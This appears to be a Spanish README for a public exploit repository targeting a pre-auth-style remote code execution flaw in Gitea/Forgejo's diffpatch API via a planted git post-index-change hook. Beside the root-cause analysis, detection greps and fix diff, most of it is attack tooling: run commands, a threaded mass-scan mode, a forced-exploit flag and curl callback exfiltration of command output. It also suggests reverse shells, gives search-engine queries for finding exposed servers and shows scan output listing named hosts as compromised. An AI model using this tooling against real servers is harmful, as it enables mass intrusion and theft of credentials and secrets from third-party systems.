
CVE-2026-60004 — RCE de Git Hook de Diffpatch de Gitea/Forgejo. Clonado desnudo → inyección de hook post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004 es una vulnerabilidad de ejecución remota de código pre-autenticación de severidad crítica (CVSS 9.8) en las plataformas Git autoalojadas Gitea y Forgejo, que afecta a las versiones 1.17 a 1.27.0.
La vulnerabilidad explota una falla de diseño de clon bare en el endpoint de API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea aplica parches suministrados por el usuario dentro de un clon temporal bare — donde la raíz del repositorio es el propio $GIT_DIR. Al enviar el mismo parche malicioso dos veces, un atacante provoca un conflicto add/add que hace que el mecanismo de fusión a tres bandas de Git (-3, Git 2.32+) escriba un hook post-index-change ejecutable directamente en $GIT_DIR/hooks/. Git ejecuta este hook automáticamente durante la actualización del índice, lo que produce ejecución arbitraria de comandos bajo la cuenta de servicio de Gitea.
Se requiere acceso de escritura al repositorio — trivial de obtener, ya que Gitea tiene por defecto registro abierto sin verificación de correo electrónico, aprobación de administrador ni límites de creación de repositorios.
| Versión | Estado |
|---|---|
| < 1.17 | No afectada (la ruta diffpatch aún no se había introducido) |
| 1.17 — 1.27.0 | Vulnerable |
| 1.27.1+ | Parcheada |
Descubierto por: Shai Rod (NightRang3r), 28 de julio de 2026 Proyecto: Gitea / Forgejo (servicio Git autoalojado) Componente: endpoint de API diffpatch, clon temporal bare
La vulnerabilidad se origina en un único parámetro en services/repository/files/patch.go:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
En un clon bare no hay árbol de trabajo — la raíz del repositorio es $GIT_DIR. Por lo tanto, un parche malicioso cuya ruta de archivo sea hooks/post-index-change termina directamente dentro del directorio real de hooks de Git, no en un árbol de trabajo aislado.
La invocación de git apply agrava esto:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR, por lo que la ruta hooks/post-index-change apunta al directorio real de hooks.--cached no es infalible — el mecanismo de respaldo a tres bandas -3 en Git 2.32+ escribe los resultados fusionados en el árbol de trabajo durante conflictos add/add, a pesar de la bandera --cached.post-index-change — después de actualizar el índice, Git ejecuta este hook de forma incondicional si existe y es ejecutable. No se necesita configuración.git update-index dentro del hook provoca un interbloqueo porque git apply mantiene el bloqueo del índice. Use callbacks HTTP (curl) o reverse shells para la exfiltración de la salida.1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
La diferencia entre un clon bare y uno no bare — un único parámetro booleano — determina si una ruta de parche es una entrada inofensiva del árbol de trabajo o un hook ejecutable que aterriza directamente en el directorio interno de Git. La corrección cambia exactamente un carácter en el diff (true → false), razón por la cual el commit fue etiquetado como "refactor: git patch apply" bajo MISC y no bajo SECURITY. La operación que se suponía debía estar aislada al índice (--cached) fue silenciosamente rota por el propio mecanismo de fusión a tres bandas de Git, y ninguna protección adicional impidió que se crearan archivos de hook en el $GIT_DIR del clon bare.
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--callback HTTP callback URL for output exfiltration
--listen [PORT] Auto-start built-in callback listener
-o, --output Save RCE-confirmed URLs to file
--threads Concurrent workers (default: 25)
--timeout HTTP request timeout in seconds
--no-cleanup Leave repository and user on target
--forced Attempt exploit regardless of detected version
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Host : gitea.example.com
Version : 1.22.0
Vuln (< 1.27.1) : YES
RCE : CONFIRMED
Detection : timing Δ 8.0s (hook sleep 4s)
User : poc_a1b2c3
Time : 9.5s
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Targets: 259 | Threads: 20
[RCE] gitea.idetama.id Δ8.7s (hook sleep 4s)
[RCE] gitea.roan.id.au Δ8.7s (hook sleep 4s)
[DET] git.ofon.id | ⠼ [████░░░░░░░░░░░] 86/259 (33%) Det:76 RCE:2
───────────────────────────────────────────────────────
SCAN SUMMARY
───────────────────────────────────────────────────────
Total : 259
RCE Confirmed : 12
Hook Failed : 5
Patched : 25
Errors : 151
Register fail : 85
Login fail : 42
Repo fail : 24
Not Gitea : 66
───────────────────────────────────────────────────────
Detection method: timing
Done | 77s
callback-data/
├── index.txt
├── gitea.idetama.id/
│ ├── output_2026-08-03_120000.txt
│ └── latest.txt
├── gitea.roan.id.au/
│ └── ...
FOFA: title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"
Una explotación exitosa produce ejecución remota de código como la cuenta de servicio de Gitea:
app.ini — credenciales de base de datos, secretos SMTP, claves de aplicaciones OAuth, secretos LFS/JWTNo se necesita ninguna cuenta en la instancia — el registro está abierto por defecto.
Gitea corrigió la vulnerabilidad en la versión 1.27.1 (commit 470d34b) al:
$GIT_DIR/hooks/--index pueden interactuar con el árbol de trabajo bajo ciertas condicionesTestGitPatchPrepare) que verifica que el clon temporal no es bare comprobando la existencia de un subdirectorio .git- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {
La corrección apareció en las notas de la versión 1.27.1 bajo MISC como
"refactor: git patch apply"en lugar de bajo SECURITY, lo que facilita que los administradores que solo revisan las entradas de changelog relacionadas con seguridad pasen por alto esta actualización crítica. El mismo patrón de clon bare enCherryPicktambién fue corregido.
SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
No lo use contra sistemas sin el permiso explícito del propietario. Los autores no asumen ninguna responsabilidad por el mal uso.
| Recurso | Enlace |
|---|
Descubierto por Shai Rod (NightRang3r). No afiliado con Gitea o Forgejo.
| Archivo | Línea(s) | Propósito |
|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — creación de clon bare |
services/repository/files/patch.go | 206-209 | git apply con banderas --index --cached -3 |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — persiste el estado del atacante |
services/repository/files/cherry_pick.go | ~170 | El mismo patrón de clon bare en CherryPick (también corregido) |
| Commit de la Corrección en Gitea | 470d34b |
| Investigador | NightRang3r |
| CWE-94 | Inyección de Código |
| Hook de Git | post-index-change |